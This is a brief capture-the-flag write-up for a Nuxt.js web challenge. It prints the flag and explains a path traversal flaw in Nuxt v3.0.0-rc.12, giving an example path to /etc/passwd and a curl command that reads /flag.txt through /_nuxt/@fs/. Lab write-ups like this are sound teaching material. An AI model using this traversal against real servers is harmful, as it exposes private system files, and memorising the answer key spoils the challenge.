A simple website
Description
It turns out that learning to make websites using NuxtJS is really fun
Attachment: dist.zip
Flag
TCP1P{OuTD4t3d_NuxxT_fR4m3w0RkK}
Solution
The purpose of this challenge is to read the flag.txt located in the root directory (/flag.txt).
The provided web application is build with Nuxt.js v3.0.0-rc.12, there is Path Traversal vulnerability (e.g. /_nuxt/@fs/etc/passwd).
curl http://ctf.tcp1p.com:45681/_nuxt/@fs/flag.txt